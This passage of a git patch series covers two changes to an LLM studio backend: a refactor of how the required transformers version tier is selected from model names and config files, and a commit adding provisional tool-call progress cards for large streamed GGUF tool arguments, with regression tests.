 def _check_config_needs_510(model_name: str) -> bool:
     """Check ``config.json`` for Gemma 4 Unified / 12B architectures."""
     if model_name in _config_needs_510_cache:
@@ -638,6 +763,59 @@ def _check_config_needs_510(model_name: str) -> bool:
     return result
 
 
+def _norm_separators(s: str) -> str:
+    """Collapse ``_``/whitespace to ``-`` (underscore aliases) but keep ``.`` so a
+    version dot (``qwen3.5``) isn't conflated with a size separator (``Qwen3-5B``)."""
+    return "".join("-" if ch in "_ \t" else ch for ch in s)
+
+
+def _looks_like_hf_id(value: str) -> bool:
+    """True if *value* looks like a Hub id (``org/name``), not a local path. An
+    existing path is treated as a path, mirroring transformers' own resolution."""
+    if not value or not value.strip():
+        return False
+    if os.path.isabs(value) or value.startswith((".", "~")) or "\\" in value:
+        return False
+    if os.path.exists(value):
+        return False
+    return value.count("/") <= 1
+
+
+def _tier_from_name(name: str) -> tuple[str, str] | None:
+    """``(tier, reason)`` from name substrings (order 510 > 550 > 530), or ``None``.
+
+    Underscore aliases match (``Qwen3_5`` == ``Qwen3.5``); a dot-version substring
+    matches only the dot/underscore form, never a hyphen, so ``Qwen3-6B`` size names
+    aren't promoted.
+    """
+    lowered = name.lower()
+    norm = _norm_separators(lowered)
+    dotted = lowered.replace("_", ".")
+    if "assistant" in lowered and ("gemma-4" in norm or "gemma4" in norm):
+        return "510", "gemma-4 assistant variant"
+    for substrings, tier in (
+        (TRANSFORMERS_510_MODEL_SUBSTRINGS, "510"),
+        (TRANSFORMERS_550_MODEL_SUBSTRINGS, "550"),
+        (TRANSFORMERS_5_MODEL_SUBSTRINGS, "530"),
+    ):
+        for s in substrings:
+            if "." in s:
+                if s in lowered or s in dotted:
+                    return tier, s
+            elif s in lowered or _norm_separators(s) in norm:
+                return tier, s
+    return None
+
+
+def _higher_tier_name_override(name_hint: str | None) -> str | None:
+    """510/550 tier if *name_hint* names a higher-tier model, else ``None``. Qwen3.6
+    reuses Qwen3.5 config ids but needs the 5.5 sidecar, so a name hint overrides 530."""
+    if not name_hint:
+        return None
+    hint = _tier_from_name(name_hint)
+    return hint[0] if hint is not None and hint[0] in ("510", "550") else None
+
+
 def get_transformers_tier(model_name: str) -> str:
     """Return the transformers tier required for *model_name*.
 
@@ -646,31 +824,78 @@ def get_transformers_tier(model_name: str) -> str:
     ``"530"`` for models needing transformers 5.3.0 (e.g. Ministral-3, Qwen3 MoE),
     or ``"default"`` for everything else (4.57.x).
 
-    Higher 5.x tiers run first.
+    Higher 5.x tiers run first.  For local paths, ``config.json`` is checked
+    before name heuristics to avoid false-positives from directory name fragments.
     """
-    lowered = model_name.lower()
-
-    # Local checkpoint names can contain architecture substrings in their
-    # directory names (for example a pytest temp dir). If config.json exists,
-    # trust it before using name heuristics.
+    # Local path: trust config.json. If its arch matches a known sidecar, return;
+    # else fall back to the HF id in the config (not the folder name) for renamed dirs.
     local_cfg = Path(model_name) / "config.json"
-    if local_cfg.is_file():
+    if _safe_is_file(local_cfg):
         cfg = _load_config_json(model_name)
-        if cfg is not None and _config_needs_510(cfg):
-            logger.info(
-                "Transformers tier 510 selected for %s (local config.json check)",
-                model_name,
-            )
-            return "510"
-        if cfg is not None and _config_needs_550(cfg):
-            logger.info(
-                "Transformers tier 550 selected for %s (local config.json check)",
-                model_name,
-            )
-            return "550"
         if cfg is not None:
+            if _config_needs_510(cfg):
+                logger.info(
+                    "Transformers tier 510 selected for %s (local config.json check)",
+                    model_name,
+                )
+                return "510"
+            if _config_needs_550(cfg):
+                logger.info(
+                    "Transformers tier 550 selected for %s (local config.json check)",
+                    model_name,
+                )
+                return "550"
+            if _config_needs_530(cfg):
+                # Qwen3.6 reuses Qwen3.5 config ids but needs 5.5 by name. Only a real
+                # Hub id (or the folder basename) may override 530, so a stale local
+                # path in _name_or_path can't flip a correct 530 config to 550.
+                base = _resolve_base_model(model_name)
+                hint_src = (
+                    base
+                    if (base != model_name and _looks_like_hf_id(base))
+                    else Path(model_name).name
+                )
+                override = _higher_tier_name_override(hint_src)
+                if override is not None:
+                    logger.info(
+                        "Transformers tier %s selected for %s (name overrides 530 config)",
+                        override,
+                        model_name,
+                    )
+                    return override
+                logger.info(
+                    "Transformers tier 530 selected for %s (local config.json check)",
+                    model_name,
+                )
+                return "530"
+            # Unknown arch: resolve the base id from config. A resolved local dir
+            # recurses (config check); a Hub id uses name rules only (no network).
+            resolved = _resolve_base_model(model_name)
+            if resolved != model_name:
+                if _safe_is_dir(Path(resolved)):
+                    tier = get_transformers_tier(resolved)
+                    if tier != "default":
+                        logger.info(
+                            "Transformers tier %s selected for %s (resolved local path: %s)",
+                            tier,
+                            model_name,
+                            resolved,
+                        )
+                        return tier
+                elif _looks_like_hf_id(resolved):
+                    result = _tier_from_name(resolved)
+                    if result is not None:
+                        tier, match = result
+                        logger.info(
+                            "Transformers tier %s selected for %s (resolved HF ID: %s, match: %s)",
+                            tier,
+                            model_name,
+                            resolved,
+                            match,
+                        )
+                        return tier
             local_tc = Path(model_name) / "tokenizer_config.json"
-            if local_tc.is_file() and _check_tokenizer_config_needs_v5(model_name):
+            if _safe_is_file(local_tc) and _check_tokenizer_config_needs_v5(model_name):
                 logger.info(
                     "Transformers tier 530 selected for %s (local tokenizer_config.json check)",
                     model_name,
@@ -683,36 +908,16 @@ def get_transformers_tier(model_name: str) -> str:
             return "default"
 
     # --- Fast substring checks (no I/O) ------------------------------------
-    if "assistant" in lowered and ("gemma-4" in lowered or "gemma4" in lowered):
+    result = _tier_from_name(model_name)
+    if result is not None:
+        tier, match = result
         logger.info(
-            "Transformers tier 510 selected for %s (gemma-4 assistant variant)",
-            model_name,
-        )
-        return "510"
-    match = next((sub for sub in TRANSFORMERS_510_MODEL_SUBSTRINGS if sub in lowered), None)
-    if match is not None:
-        logger.info(
-            "Transformers tier 510 selected for %s (substring match: %s)",
+            "Transformers tier %s selected for %s (substring match: %s)",
+            tier,
             model_name,
             match,
         )
-        return "510"
-    match = next((sub for sub in TRANSFORMERS_550_MODEL_SUBSTRINGS if sub in lowered), None)
-    if match is not None:
-        logger.info(
-            "Transformers tier 550 selected for %s (substring match: %s)",
-            model_name,
-            match,
-        )
-        return "550"
-    match = next((sub for sub in TRANSFORMERS_5_MODEL_SUBSTRINGS if sub in lowered), None)
-    if match is not None:
-        logger.info(
-            "Transformers tier 530 selected for %s (substring match: %s)",
-            model_name,
-            match,
-        )
-        return "530"
+        return tier
 
     # --- Slow config fallbacks (network for HF IDs) ------------------------
     if _check_config_needs_510(model_name):
@@ -721,6 +926,23 @@ def get_transformers_tier(model_name: str) -> str:
     if _check_config_needs_550(model_name):
         logger.info("Transformers tier 550 selected for %s (config.json check)", model_name)
         return "550"
+    if _check_config_needs_530(model_name):
+        # Same Qwen3.6 caveat as the local path: honor a _name_or_path name hint
+        # before selecting 530.
+        remote_cfg = _load_config_json(model_name) or {}
+        base = remote_cfg.get("_name_or_path") or remote_cfg.get("model_name")
+        override = _higher_tier_name_override(
+            base if isinstance(base, str) and base != model_name else None
+        )
+        if override is not None:
+            logger.info(
+                "Transformers tier %s selected for %s (name overrides 530 config)",
+                override,
+                model_name,
+            )
+            return override
+        logger.info("Transformers tier 530 selected for %s (config.json check)", model_name)
+        return "530"
     if _check_tokenizer_config_needs_v5(model_name):
         logger.info(
             "Transformers tier 530 selected for %s (tokenizer_config.json check)",
@@ -1001,14 +1223,18 @@ def ensure_transformers_version(model_name: str) -> None:
       • Need 5.3.0 → prepend .venv_t5_530/ to sys.path, purge modules.
       • Need 4.x  → remove all .venv_t5_*/ from sys.path, purge modules.
 
-    For custom-named LoRA adapters, the base model is resolved from
-    ``adapter_config.json`` before checking.
+    For custom-named LoRA adapters, the base model is resolved before checking
+    (from ``adapter_config.json`` or, for adapter_model-only LoRAs, the directory
+    name).
 
     NOTE: Training and inference use subprocess isolation instead. Used only by
     the export path (routes/export.py).
     """
-    # Resolve LoRA adapters to their base model for accurate detection.
-    resolved = _resolve_base_model(model_name)
+    # Only pre-resolve for LoRA adapter dirs; see activate_transformers_for_subprocess.
+    if _is_lora_adapter_dir(Path(model_name)):
+        resolved = _resolve_base_model(model_name)
+    else:
+        resolved = model_name
     tier = get_transformers_tier(resolved)
     if model_name != resolved and (Path(model_name) / "config.json").is_file():
         # Gate on a real local config.json: a checkpoint carries config the base may not

From e2e8e5ab46a34cfd5f80ca667e96605d58a8717e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 05:50:10 -0700
Subject: [PATCH 028/306] Studio: show tool-call progress for large GGUF tool
 arguments (#6484)

* Studio: show tool-call progress for large GGUF tool arguments

The GGUF agentic tool loop only surfaced an early provisional tool card
for render_html, so any other tool (python, terminal, ...) was invisible
in the UI while its arguments streamed. For a large argument such as a
full HTML or code file this left the chat sitting on "Generating..." with
zero progress for tens of seconds while the model was clearly working.

Generalize the provisional tool_start to any enabled tool once its
streamed arguments grow past a threshold (render_html still surfaces
immediately, small-argument tools are unchanged). The provisional and the
real tool_start share the tool_call_id so the frontend reconciles them
into one card. Close the provisional on no-op, denial, parallel-drop,
post-loop, and on stream errors so a card can never spin forever, surface
each parallel call, and skip the early card while a human confirmation
gate is active. Apply the same confirmation-gate guard to the safetensors
agentic loop.

Additional hardening:
- Only emit a provisional card once a real, non-empty tool_call_id is
  known. llama.cpp can stream a tool call with an empty id, and a card
  keyed by "" cannot reconcile with the real tool_start (the frontend
  mints its own id per event), so it would dangle.
- On a connection drop or other mid-iteration failure, close the dangling
  provisional card with an error result instead of an empty success so the
  UI renders it as failed rather than completed.
- Mirror the provisional cleanup in the safetensors loop: close a
  provisional render_html card if the model generator raises mid-stream or
  the controller turns the call into an internal no-op.

Adds regression tests for the empty-id guard, the error-result on a
dropped connection, and the safetensors mid-stream exception cleanup.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/backend/core/inference/llama_cpp.py    | 124 +++++--
 .../core/inference/safetensors_agentic.py     |  51 ++-
 .../backend/tests/test_llama_cpp_tool_loop.py | 322 +++++++++++++++++-
 .../tests/test_safetensors_tool_loop.py       | 132 +++++++
 4 files changed, 602 insertions(+), 27 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index b6f83b760c..ac9d370b7d 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -226,6 +226,10 @@ _MAX_REPROMPTS = 1
 # enough for reasoning-heavy GGUFs and max_tokens-omitting API clients.
 _DEFAULT_MAX_TOKENS_FLOOR = 32768
 _DEFAULT_FIRST_TOKEN_TIMEOUT_S = 1200.0  # 20 min
+
+# Only large streamed tool payloads get an early provisional card; render_html
+# is exempt because it needs immediate artifact feedback.
+_PROVISIONAL_ARGS_MIN_CHARS = 256
 _DEFAULT_STREAM_STALL_TIMEOUT_S = 120.0  # 2 min
 _REPROMPT_MAX_CHARS = 2000
 _FORCED_REPEAT_PLAN_SIGNAL = re.compile(
@@ -7900,7 +7904,9 @@ class LlamaCppBackend:
                 _iter_finish_reason = None
                 _stream_done = False
                 _last_emitted = ""
-                provisional_render_html_tool_call_ids = set()
+                # Provisional tool_start cards already shown, keyed by tool_call_id.
+                provisional_started_tool_calls: dict[str, str] = {}
+                resolved_provisional_tool_call_ids: set[str] = set()
                 _suppress_visible_output = _forced_tool_call_pending
 
                 with self._open_stream(url, payload, cancel_event) as (
@@ -7966,11 +7972,8 @@ class LlamaCppBackend:
                                 # ── Structured tool_calls ──
                                 tc_deltas = delta.get("tool_calls")
                                 if tc_deltas:
-                                    # llama-server can emit visible assistant
-                                    # preface content before native structured
-                                    # tool_calls. Preserve content_accum as
-                                    # the assistant pre-tool text and still
-                                    # drain/execute the structured call.
+                                    # Preserve any visible preface before draining
+                                    # the structured tool call.
                                     has_structured_tc = True
                                     detect_state = _S_DRAINING
                                     for tc_d in tc_deltas:
@@ -8001,27 +8004,54 @@ class LlamaCppBackend:
                                         fallback_id = f"call_{idx}"
                                         current_id = tool_calls_acc[idx].get("id", fallback_id)
                                         already_started = (
-                                            current_id in provisional_render_html_tool_call_ids
+                                            current_id in provisional_started_tool_calls
                                         )
-                                        has_real_id = current_id != fallback_id
-                                        if (
+                                        # Empty/synthetic ids cannot reconcile with real starts.
+                                        has_real_id = bool(current_id) and current_id != fallback_id
+                                        # Show one early card per eligible streamed tool call.
+                                        _is_completed_one_shot = (
                                             current_name == "render_html"
-                                            and not _tool_succeeded("render_html")
+                                            and _tool_succeeded("render_html")
+                                        )
+                                        # render_html is one-shot.
+                                        _one_shot_already_provisional = (
+                                            current_name == "render_html"
+                                            and "render_html"
+                                            in provisional_started_tool_calls.values()
+                                        )
+                                        # Later parallel cards only reconcile when parallel use is enabled.
+                                        _confirm_gated = (
+                                            confirm_tool_calls and not bypass_permissions
+                                        )
+                                        # Keep small-argument tools on the normal path.
+                                        _args_len = len(
+                                            tool_calls_acc[idx]["function"].get("arguments", "")
+                                        )
+                                        _payload_is_large = (
+                                            current_name == "render_html"
+                                            or _args_len >= _PROVISIONAL_ARGS_MIN_CHARS
+                                        )
+                                        if (
+                                            current_name
+                                            and (idx == 0 or not disable_parallel_tool_use)
+                                            and has_real_id
+                                            and not already_started
+                                            and not _is_completed_one_shot
+                                            and not _one_shot_already_provisional
+                                            and not _confirm_gated
+                                            and _payload_is_large
                                             and any(
-                                                (
-                                                    (tool.get("function") or {}).get("name")
-                                                    == "render_html"
-                                                )
+                                                (tool.get("function") or {}).get("name")
+                                                == current_name
                                                 for tool in active_tools
                                             )
-                                            and not already_started
-                                            and not provisional_render_html_tool_call_ids
-                                            and has_real_id
                                         ):
-                                            provisional_render_html_tool_call_ids.add(current_id)
+                                            provisional_started_tool_calls[current_id] = (
+                                                current_name
+                                            )
                                             yield {
                                                 "type": "tool_start",
-                                                "tool_name": "render_html",
+                                                "tool_name": current_name,
                                                 "tool_call_id": current_id,
                                                 "arguments": {},
                                                 "provenance": tool_event_provenance(
@@ -8343,20 +8373,30 @@ class LlamaCppBackend:
                 for tc in tool_calls or []:
                     func = tc.get("function", {})
                     tool_name = func.get("name", "")
-                    provisional_render_html_match = (
-                        tool_name == "render_html"
-                        and tc.get("id") in provisional_render_html_tool_call_ids
-                    )
+                    provisional_match = tc.get("id") in provisional_started_tool_calls
                     decision = tool_controller.prepare_call(
                         tc,
                         forced = _forced_tool_call_pending,
-                        provisional = provisional_render_html_match,
+                        provisional = provisional_match,
                     )
 
                     if not decision.should_execute:
                         if content_text and not assistant_appended:
                             conversation.append(assistant_msg)
                             assistant_appended = True
+                        if provisional_match:
+                            # A provisional tool card is already on screen for this
+                            # id; close it so it never dangles when the controller
+                            # turns the call into an internal no-op (duplicate /
+                            # disabled / render_html_repeat).
+                            resolved_provisional_tool_call_ids.add(decision.tool_call_id)
+                            yield {
+                                "type": "tool_end",
+                                "tool_name": decision.tool_name,
+                                "tool_call_id": decision.tool_call_id,
+                                "result": "",
+                                "provenance": decision.provenance,
+                            }
                         completion = tool_controller.record_noop(decision)
                         conversation.append(completion.model_message())
                         if _forced_tool_call_pending:
@@ -8401,6 +8441,7 @@ class LlamaCppBackend:
                             == "deny"
                         ):
                             decision_slot = None
+                            resolved_provisional_tool_call_ids.add(decision.tool_call_id)
                             yield {
                                 "type": "tool_end",
                                 "tool_name": decision.tool_name,
@@ -8444,12 +8485,25 @@ class LlamaCppBackend:
                         if decision.tool_name == "search_knowledge_base":
                             _kb_search_count += 1
                     completion = tool_controller.record_result(decision, result)
+                    resolved_provisional_tool_call_ids.add(decision.tool_call_id)
                     yield completion.tool_end_event()
                     conversation.append(completion.tool_message())
 
                     if _forced_tool_call_pending:
                         _forced_tool_call_pending = False
 
+                # Close provisional cards not resolved by execution/no-op handling.
+                for _pid, _pname in provisional_started_tool_calls.items():
+                    if _pid not in resolved_provisional_tool_call_ids:
+                        resolved_provisional_tool_call_ids.add(_pid)
+                        yield {
+                            "type": "tool_end",
+                            "tool_name": _pname,
+                            "tool_call_id": _pid,
+                            "result": "",
+                            "provenance": tool_event_provenance(provisional = True),
+                        }
+
                 # Clear tool status badge before next generation/final pass.
                 yield {"type": "status", "text": ""}
                 if tool_controller.force_final_answer or not tool_controller.active_tools():
@@ -8458,10 +8512,32 @@ class LlamaCppBackend:
                 continue
 
             except httpx.ConnectError:
+                # Mark unresolved provisional cards as failed before raising.
+                for _pid, _pname in provisional_started_tool_calls.items():
+                    if _pid not in resolved_provisional_tool_call_ids:
+                        resolved_provisional_tool_call_ids.add(_pid)
+                        yield {
+                            "type": "tool_end",
+                            "tool_name": _pname,
+                            "tool_call_id": _pid,
+                            "result": "Error: lost connection to llama-server before the tool call completed.",
+                            "provenance": tool_event_provenance(provisional = True),
+                        }
                 raise RuntimeError("Lost connection to llama-server")
             except Exception as e:
                 if cancel_event is not None and cancel_event.is_set():
                     return
+                # Same cleanup for other mid-iteration failures.
+                for _pid, _pname in provisional_started_tool_calls.items():
+                    if _pid not in resolved_provisional_tool_call_ids:
+                        resolved_provisional_tool_call_ids.add(_pid)
+                        yield {
+                            "type": "tool_end",
+                            "tool_name": _pname,
+                            "tool_call_id": _pid,
+                            "result": "Error: the tool call was interrupted before it completed.",
+                            "provenance": tool_event_provenance(provisional = True),
+                        }
                 raise
 
         # ── Tool iteration cap reached -- synthesize final answer ──
diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py
index 06b6cbe57f..0c96378d6c 100644
--- a/studio/backend/core/inference/safetensors_agentic.py
+++ b/studio/backend/core/inference/safetensors_agentic.py
@@ -236,12 +236,39 @@ def run_safetensors_tool_loop(
         cumulative_display = ""
         last_emitted = ""
         provisional_render_html_started = False
+        provisional_resolved = False
         provisional_render_html_id = f"call_{next_call_id}"
+        # When a human confirmation gate is active the real tool_start is keyed
+        # by an approval id and carries awaiting_confirmation, so an early
+        # provisional card (keyed by tool_call_id, no approval) would show the
+        # tool as "running" before the user has approved it. Suppress the early
+        # card in that case and let the gated tool_start be the first signal.
+        _provisional_confirm_gated = bool(confirm_tool_calls) and not bypass_permissions
 
         gen = _call_single_turn(single_turn, conversation, active_tools)
         prev_cumulative = ""
 
-        for cumulative in gen:
+        _gen_iter = iter(gen)
+        while True:
+            try:
+                cumulative = next(_gen_iter)
+            except StopIteration:
+                break
+            except Exception:
+                # The model pipeline raised mid-stream. If a provisional
+                # render_html card was already surfaced, close it as errored so
+                # the UI never leaves a tool card spinning after the turn fails.
+                if provisional_render_html_started and not provisional_resolved:
+                    provisional_resolved = True
+                    yield {
+                        "type": "tool_end",
+                        "tool_name": "render_html",
+                        "tool_call_id": provisional_render_html_id,
+                        "result": "Error: generation was interrupted before the tool call completed.",
+                        "provenance": _tool_event_provenance(provisional = True),
+                    }
+                raise
+
             if cancel_event is not None and cancel_event.is_set():
                 return
 
@@ -257,6 +284,7 @@ def run_safetensors_tool_loop(
             if detect_state == _state_draining:
                 if (
                     not _tool_succeeded("render_html")
+                    and not _provisional_confirm_gated
                     and any(
                         ((tool.get("function") or {}).get("name") == "render_html")
                         for tool in active_tools
@@ -295,6 +323,7 @@ def run_safetensors_tool_loop(
                     detect_state = _state_draining
                     if (
                         not _tool_succeeded("render_html")
+                        and not _provisional_confirm_gated
                         and any(
                             ((tool.get("function") or {}).get("name") == "render_html")
                             for tool in active_tools
@@ -353,6 +382,7 @@ def run_safetensors_tool_loop(
                 detect_state = _state_draining
                 if (
                     not _tool_succeeded("render_html")
+                    and not _provisional_confirm_gated
                     and any(
                         ((tool.get("function") or {}).get("name") == "render_html")
                         for tool in active_tools
@@ -460,7 +490,8 @@ def run_safetensors_tool_loop(
                             tool_protocol_active = False,
                         ),
                     }
-                if provisional_render_html_started:
+                if provisional_render_html_started and not provisional_resolved:
+                    provisional_resolved = True
                     yield {
                         "type": "tool_end",
                         "tool_name": "render_html",
@@ -503,6 +534,18 @@ def run_safetensors_tool_loop(
                 if content_text and not assistant_appended:
                     conversation.append(assistant_msg)
                     assistant_appended = True
+                if provisional_match and not provisional_resolved:
+                    # A provisional render_html card is already on screen for
+                    # this id; close it so it never dangles when the controller
+                    # turns the call into an internal no-op (duplicate / repeat).
+                    provisional_resolved = True
+                    yield {
+                        "type": "tool_end",
+                        "tool_name": decision.tool_name,
+                        "tool_call_id": decision.tool_call_id,
+                        "result": "",
+                        "provenance": decision.provenance,
+                    }
                 completion = tool_controller.record_noop(decision)
                 conversation.append(completion.model_message())
                 logger.info(
@@ -541,6 +584,8 @@ def run_safetensors_tool_loop(
                     == "deny"
                 ):
                     decision_slot = None
+                    if provisional_match:
+                        provisional_resolved = True
                     yield {
                         "type": "tool_end",
                         "tool_name": decision.tool_name,
@@ -587,6 +632,8 @@ def run_safetensors_tool_loop(
                     kb_search_count += 1
 
             completion = tool_controller.record_result(decision, result)
+            if provisional_match:
+                provisional_resolved = True
             yield completion.tool_end_event()
             conversation.append(completion.tool_message())
 
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 7b1ecbca61..687829980b 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -20,7 +20,7 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-from core.inference.llama_cpp import LlamaCppBackend
+from core.inference.llama_cpp import _PROVISIONAL_ARGS_MIN_CHARS, LlamaCppBackend
 from state import tool_approvals
 from state.tool_approvals import TOOL_REJECTED_MESSAGE, resolve_tool_decision
 
@@ -1325,3 +1325,323 @@ def test_confirm_tool_calls_deny_skips_gguf_tool_and_retry_can_execute(monkeypat
     assert len(starts) == 2
     assert [event["result"] for event in ends] == [TOOL_REJECTED_MESSAGE, "OK"]
     assert calls == [("python", {"code": "print(1)"})]
+
+
+def _streamed_structured_tool_call(
+    tool_name: str,
+    arguments: dict,
+    call_id: str,
+    frag: int = 24,
+) -> list[str]:
+    """A structured tool call whose arguments arrive token-by-token across many
+    deltas (id + name on the first delta), mirroring how llama-server streams a
+    large tool-call argument such as a full HTML/code file."""
+    args_json = json.dumps(arguments)
+    fragments = [args_json[i : i + frag] for i in range(0, len(args_json), frag)] or [""]
+    chunks = [
+        _sse(
+            {
+                "tool_calls": [
+                    {
+                        "index": 0,
+                        "id": call_id,
+                        "type": "function",
+                        "function": {"name": tool_name, "arguments": fragments[0]},
+                    }
+                ]
+            }
+        )
+    ]
+    for fragment in fragments[1:]:
+        chunks.append(_sse({"tool_calls": [{"index": 0, "function": {"arguments": fragment}}]}))
+    chunks.append(_done())
+    return chunks
+
+
+def test_large_python_tool_call_emits_early_provisional_start(monkeypatch):
+    """Regression: a large streamed tool-call argument surfaces a provisional
+    tool card BEFORE the full arguments finish, so the UI shows progress during
+    generation instead of a frozen 'Generating...'. (The bug: only render_html
+    surfaced early; python/terminal/etc. were silent until the call completed.)"""
+
+    big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120))
+    args_json = json.dumps({"code": big_code})
+    assert len(args_json) > _PROVISIONAL_ARGS_MIN_CHARS
+
+    first_stream = _streamed_structured_tool_call("python", {"code": big_code}, "call_py_big")
+    final_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "OK"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "write code"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_starts = [e for e in events if e.get("type") == "tool_start"]
+    provisional = [e for e in tool_starts if not e.get("arguments")]
+    real = [e for e in tool_starts if e.get("arguments", {}).get("code")]
+
+    # Exactly one provisional (empty args) and one real (full args), same id so
+    # the frontend reconciles them into a single card.
+    assert len(provisional) == 1, tool_starts
+    assert provisional[0]["tool_name"] == "python"
+    assert provisional[0]["tool_call_id"] == "call_py_big"
+    assert provisional[0]["provenance"].get("provisional") is True
+    assert len(real) == 1
+    assert real[0]["tool_call_id"] == "call_py_big"
+    # The provisional card appears before the real (completed) tool_start.
+    assert events.index(provisional[0]) < events.index(real[0])
+
+    assert calls == [("python", {"code": big_code})]
+    assert any(e.get("type") == "tool_end" and e.get("tool_name") == "python" for e in events)
+
+
+def test_small_python_tool_call_has_no_provisional_start(monkeypatch):
+    """A small tool-call argument finishes streaming instantly, so it keeps the
+    existing behavior of a single (real) tool_start with no provisional card."""
+
+    first_stream = _structured_tool_call("python", {"code": "print(1)"}, "call_py_small")
+    final_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "OK")
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_starts = [e for e in events if e.get("type") == "tool_start"]
+    assert [e for e in tool_starts if not e.get("arguments")] == []
+    assert len([e for e in tool_starts if e.get("arguments", {}).get("code")]) == 1
+
+
+def _streamed_parallel_tool_calls(specs, frag: int = 24) -> list[str]:
+    """Two or more structured tool calls, each streamed token-by-token across
+    deltas, one index fully before the next, mirroring how llama-server streams
+    several parallel tool calls whose arguments are large."""
+    chunks: list[str] = []
+    for index, (tool_name, arguments, call_id) in enumerate(specs):
+        args_json = json.dumps(arguments)
+        fragments = [args_json[i : i + frag] for i in range(0, len(args_json), frag)] or [""]
+        chunks.append(
+            _sse(
+                {
+                    "tool_calls": [
+                        {
+                            "index": index,
+                            "id": call_id,
+                            "type": "function",
+                            "function": {"name": tool_name, "arguments": fragments[0]},
+                        }
+                    ]
+                }
+            )
+        )
+        for fragment in fragments[1:]:
+            chunks.append(
+                _sse({"tool_calls": [{"index": index, "function": {"arguments": fragment}}]})
+            )
+    chunks.append(_done())
+    return chunks
+
+
+def test_parallel_large_tool_calls_each_emit_provisional_start(monkeypatch):
+    """With parallel tool use enabled (the default), every streamed large tool
+    call surfaces its own provisional card, not just the first one, so the UI
+    shows progress for each call as its arguments stream."""
+
+    big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120))
+    big_cmd = "echo start\n" + "\n".join(f"echo line {i}" for i in range(60))
+    assert len(json.dumps({"code": big_code})) > _PROVISIONAL_ARGS_MIN_CHARS
+    assert len(json.dumps({"command": big_cmd})) > _PROVISIONAL_ARGS_MIN_CHARS
+
+    first_stream = _streamed_parallel_tool_calls(
+        [
+            ("python", {"code": big_code}, "call_py"),
+            ("terminal", {"command": big_cmd}, "call_term"),
+        ]
+    )
+    final_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "OK"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "do both"}],
+            tools = [
+                {"type": "function", "function": {"name": "python"}},
+                {"type": "function", "function": {"name": "terminal"}},
+            ],
+            max_tool_iterations = 1,
+        )
+    )
+
+    provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")]
+    assert sorted(e["tool_call_id"] for e in provisional) == ["call_py", "call_term"]
+    assert all(e["provenance"].get("provisional") is True for e in provisional)
+    # Both calls actually executed (parallel tool use is enabled by default).
+    assert sorted(name for name, _ in calls) == ["python", "terminal"]
+
+
+def test_parallel_disabled_suppresses_provisional_for_later_calls(monkeypatch):
+    """When parallel tool use is disabled the downstream truncates to the first
+    call, so only the first streamed call may surface a provisional; a later
+    call must not get a card that could never reconcile or be closed."""
+
+    big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120))
+    big_cmd = "echo start\n" + "\n".join(f"echo line {i}" for i in range(60))
+
+    first_stream = _streamed_parallel_tool_calls(
+        [
+            ("python", {"code": big_code}, "call_py"),
+            ("terminal", {"command": big_cmd}, "call_term"),
+        ]
+    )
+    final_stream = [_sse({"content": "Done."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "OK"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "do both"}],
+            tools = [
+                {"type": "function", "function": {"name": "python"}},
+                {"type": "function", "function": {"name": "terminal"}},
+            ],
+            max_tool_iterations = 1,
+            disable_parallel_tool_use = True,
+        )
+    )
+
+    provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")]
+    assert [e["tool_call_id"] for e in provisional] == ["call_py"]
+    # Only the first call executes when parallel use is disabled.
+    assert calls == [("python", {"code": big_code})]
+    # The lone provisional is closed exactly once (no dangling card).
+    closing = [
+        e for e in events if e.get("type") == "tool_end" and e.get("tool_call_id") == "call_py"
+    ]
